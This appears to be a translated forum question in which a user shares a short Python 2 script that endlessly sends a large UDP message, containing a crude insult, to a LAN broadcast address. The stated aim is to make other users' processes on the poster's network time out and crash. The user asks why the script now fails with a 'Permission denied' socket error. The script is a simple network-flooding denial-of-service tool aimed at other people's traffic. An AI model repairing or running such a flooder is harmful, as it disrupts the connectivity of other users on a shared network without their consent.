我有这个脚本。我使用它不是为了惹恼,而是为了使滥用进程(由几乎没有考虑到其余用户的用户运行)超时并最终在我自己的网络中崩溃,因此不会占用带宽。
#!/usr/bin/python
import socket
MSG = "Suck my ****s!! " * 1024
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
count = 0
while True:
print "Punch! %d" % count
count += 1
if count == 256:
count = 0
sock.sendto(MSG, ("192.168.255.255", 4321))
它工作了好几个月。我差不多一年了。
但是,现在我收到这样的错误:
Punch! 0
Traceback (most recent call last):
File "Escritorio/punch.py", line 14, in <module>
sock.sendto(MSG, ("192.168.255.255", 4321))
socket.error: [Errno 13] Permission denied
(“Punch!0”是预期输出的地方)
我的操作系统是Ubuntu 12.04,带有Python 2.7.3。
我应该检查什么?即使以sudo身份运行脚本也会产生这样的错误。